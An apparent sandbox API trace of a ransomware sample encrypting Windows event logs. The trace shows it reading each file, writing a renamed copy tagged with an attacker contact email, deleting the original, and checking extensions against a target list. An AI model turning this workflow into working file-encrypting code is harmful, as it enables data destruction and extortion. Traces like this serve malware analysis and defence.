	[0080.818] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0080.819] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.819] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.819] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0080.819] GetLastError () returned 0x0
	[0080.819] ReadFile (in: hFile=0x324, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0080.823] WriteFile (in: hFile=0x390, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0080.825] ReadFile (in: hFile=0x324, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0080.825] WriteFile (in: hFile=0x390, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x13a, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x13a, lpOverlapped=0x0) returned 1
	[0080.826] SetEndOfFile (hFile=0x390) returned 1
	[0080.826] CloseHandle (hObject=0x390) returned 1
	[0080.829] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.829] SetEndOfFile (hFile=0x324) returned 1
	[0080.831] CloseHandle (hObject=0x324) returned 1
	[0080.831] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0080.831] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx")) returned 1
	[0080.831] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59
	[0080.831] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59
	[0080.831] lstrlenW (lpString=".doc") returned 4
	[0080.831] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0080.831] lstrlenW (lpString=".docx") returned 5
	[0080.832] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0080.832] lstrlenW (lpString=".pdf") returned 4
	[0080.832] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0080.832] lstrlenW (lpString=".xls") returned 4
	[0080.832] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0080.832] lstrlenW (lpString=".xlsx") returned 5
	[0080.832] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0080.832] lstrlenW (lpString=".ppt") returned 4
	[0080.832] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0080.832] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59
	[0080.832] lstrlenW (lpString=".zip") returned 4
	[0080.832] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0080.832] lstrlenW (lpString=".rar") returned 4
	[0080.832] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0080.832] lstrlenW (lpString=".bz2") returned 4
	[0080.832] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0080.832] lstrlenW (lpString=".7z") returned 3
	[0080.832] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0080.832] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59
	[0080.832] lstrlenW (lpString=".dbf") returned 4
	[0080.832] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0080.832] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59
	[0080.832] lstrlenW (lpString=".1cd") returned 4
	[0080.832] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0080.832] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59
	[0080.832] lstrlenW (lpString=".jpg") returned 4
	[0080.832] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0080.832] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59
	[0080.833] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59
	[0080.833] lstrlenW (lpString=".doc") returned 4
	[0080.833] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0080.833] lstrlenW (lpString=".docx") returned 5
	[0080.833] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0080.833] lstrlenW (lpString=".pdf") returned 4
	[0080.833] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0080.833] lstrlenW (lpString=".xls") returned 4
	[0080.833] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0080.833] lstrlenW (lpString=".xlsx") returned 5
	[0080.833] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0080.833] lstrlenW (lpString=".ppt") returned 4
	[0080.833] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0080.833] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59
	[0080.833] lstrlenW (lpString=".zip") returned 4
	[0080.833] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0080.833] lstrlenW (lpString=".rar") returned 4
	[0080.833] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0080.833] lstrlenW (lpString=".bz2") returned 4
	[0080.833] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0080.833] lstrlenW (lpString=".7z") returned 3
	[0080.833] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0080.833] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59
	[0080.833] lstrlenW (lpString=".dbf") returned 4
	[0080.833] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0080.833] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59
	[0080.833] lstrlenW (lpString=".1cd") returned 4
	[0080.833] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0080.833] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59
	[0080.833] lstrlenW (lpString=".jpg") returned 4
	[0080.833] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0080.834] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0080.834] lstrlenW (lpString="Microsoft-Windows-International%4Operational.evtx") returned 49
	[0080.834] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0080.836] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=69632) returned 1
	[0080.836] CloseHandle (hObject=0x374) returned 1
	[0080.836] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx")) returned 0x20
	[0080.836] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0080.836] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0080.836] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.836] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.836] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0080.837] GetLastError () returned 0x0
	[0080.837] ReadFile (in: hFile=0x374, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0080.840] WriteFile (in: hFile=0x324, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0080.842] ReadFile (in: hFile=0x374, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0080.842] WriteFile (in: hFile=0x324, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x136, lpOverlapped=0x0) returned 1
	[0080.842] SetEndOfFile (hFile=0x324) returned 1
	[0080.842] CloseHandle (hObject=0x324) returned 1
	[0080.844] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.844] SetEndOfFile (hFile=0x374) returned 1
	[0080.846] CloseHandle (hObject=0x374) returned 1
	[0080.846] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0080.846] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx")) returned 1
	[0080.846] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57
	[0080.846] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57
	[0080.846] lstrlenW (lpString=".doc") returned 4
	[0080.846] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0080.846] lstrlenW (lpString=".docx") returned 5
	[0080.846] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0080.846] lstrlenW (lpString=".pdf") returned 4
	[0080.846] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0080.846] lstrlenW (lpString=".xls") returned 4
	[0080.846] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0080.846] lstrlenW (lpString=".xlsx") returned 5
	[0080.846] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0080.846] lstrlenW (lpString=".ppt") returned 4
	[0080.847] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0080.847] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57
	[0080.847] lstrlenW (lpString=".zip") returned 4
	[0080.847] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0080.847] lstrlenW (lpString=".rar") returned 4
	[0080.847] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0080.847] lstrlenW (lpString=".bz2") returned 4
	[0080.847] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0080.847] lstrlenW (lpString=".7z") returned 3
	[0080.847] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0080.847] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57
	[0080.847] lstrlenW (lpString=".dbf") returned 4
	[0080.847] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0080.847] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57
	[0080.847] lstrlenW (lpString=".1cd") returned 4
	[0080.847] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0080.847] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57
	[0080.847] lstrlenW (lpString=".jpg") returned 4
	[0080.847] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0080.847] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57
	[0080.847] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57
	[0080.847] lstrlenW (lpString=".doc") returned 4
	[0080.847] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0080.847] lstrlenW (lpString=".docx") returned 5
	[0080.847] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0080.847] lstrlenW (lpString=".pdf") returned 4
	[0080.847] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0080.847] lstrlenW (lpString=".xls") returned 4
	[0080.847] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0080.847] lstrlenW (lpString=".xlsx") returned 5
	[0080.847] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0080.847] lstrlenW (lpString=".ppt") returned 4
	[0080.847] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0080.847] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57
	[0080.848] lstrlenW (lpString=".zip") returned 4
	[0080.848] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0080.848] lstrlenW (lpString=".rar") returned 4
	[0080.848] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0080.848] lstrlenW (lpString=".bz2") returned 4
	[0080.848] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0080.848] lstrlenW (lpString=".7z") returned 3
	[0080.848] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0080.848] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57
	[0080.848] lstrlenW (lpString=".dbf") returned 4
	[0080.848] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0080.848] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57
	[0080.848] lstrlenW (lpString=".1cd") returned 4
	[0080.848] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0080.848] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57
	[0080.848] lstrlenW (lpString=".jpg") returned 4
	[0080.848] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0080.848] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0080.848] lstrlenW (lpString="Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 47
	[0080.848] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0080.848] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=69632) returned 1
	[0080.848] CloseHandle (hObject=0x374) returned 1
	[0080.849] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx")) returned 0x20
	[0080.849] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0080.849] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0080.849] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.849] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.849] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0081.188] GetLastError () returned 0x0
	[0081.188] ReadFile (in: hFile=0x374, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0081.193] WriteFile (in: hFile=0x35c, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0081.195] ReadFile (in: hFile=0x374, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.195] WriteFile (in: hFile=0x35c, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x132, lpOverlapped=0x0) returned 1
	[0081.195] SetEndOfFile (hFile=0x35c) returned 1
	[0081.195] CloseHandle (hObject=0x35c) returned 1
	[0081.197] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.197] SetEndOfFile (hFile=0x374) returned 1
	[0081.199] CloseHandle (hObject=0x374) returned 1
	[0081.199] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0081.199] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx")) returned 1
	[0081.199] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55
	[0081.199] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55
	[0081.199] lstrlenW (lpString=".doc") returned 4
	[0081.199] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0081.199] lstrlenW (lpString=".docx") returned 5
	[0081.199] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0081.199] lstrlenW (lpString=".pdf") returned 4
	[0081.199] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0081.199] lstrlenW (lpString=".xls") returned 4
	[0081.199] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0081.199] lstrlenW (lpString=".xlsx") returned 5
	[0081.199] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0081.199] lstrlenW (lpString=".ppt") returned 4
	[0081.199] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0081.199] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55
	[0081.199] lstrlenW (lpString=".zip") returned 4
	[0081.200] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0081.200] lstrlenW (lpString=".rar") returned 4
	[0081.200] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0081.200] lstrlenW (lpString=".bz2") returned 4
	[0081.200] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0081.200] lstrlenW (lpString=".7z") returned 3
	[0081.200] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0081.200] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55
	[0081.200] lstrlenW (lpString=".dbf") returned 4
	[0081.200] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0081.200] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55
	[0081.200] lstrlenW (lpString=".1cd") returned 4
	[0081.200] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0081.200] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55
	[0081.200] lstrlenW (lpString=".jpg") returned 4
	[0081.200] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0081.200] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55
	[0081.200] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55
	[0081.200] lstrlenW (lpString=".doc") returned 4
	[0081.200] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0081.200] lstrlenW (lpString=".docx") returned 5
	[0081.200] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0081.200] lstrlenW (lpString=".pdf") returned 4
	[0081.200] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0081.200] lstrlenW (lpString=".xls") returned 4
	[0081.200] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0081.200] lstrlenW (lpString=".xlsx") returned 5
	[0081.200] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0081.200] lstrlenW (lpString=".ppt") returned 4
	[0081.200] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0081.200] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55
	[0081.200] lstrlenW (lpString=".zip") returned 4
	[0081.200] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0081.201] lstrlenW (lpString=".rar") returned 4
	[0081.201] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0081.201] lstrlenW (lpString=".bz2") returned 4
	[0081.201] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0081.201] lstrlenW (lpString=".7z") returned 3
	[0081.201] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0081.201] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55
	[0081.201] lstrlenW (lpString=".dbf") returned 4
	[0081.201] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0081.201] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55
	[0081.201] lstrlenW (lpString=".1cd") returned 4
	[0081.201] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0081.201] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55
	[0081.201] lstrlenW (lpString=".jpg") returned 4
	[0081.201] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0081.201] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0081.201] lstrlenW (lpString="Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 47
	[0081.201] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0081.214] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=69632) returned 1
	[0081.214] CloseHandle (hObject=0x360) returned 1
	[0081.214] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx")) returned 0x20
	[0081.214] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0081.214] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0081.214] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.214] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.215] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0081.215] GetLastError () returned 0x0
	[0081.215] ReadFile (in: hFile=0x360, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x11000, lpOverlapped=0x0) returned 1
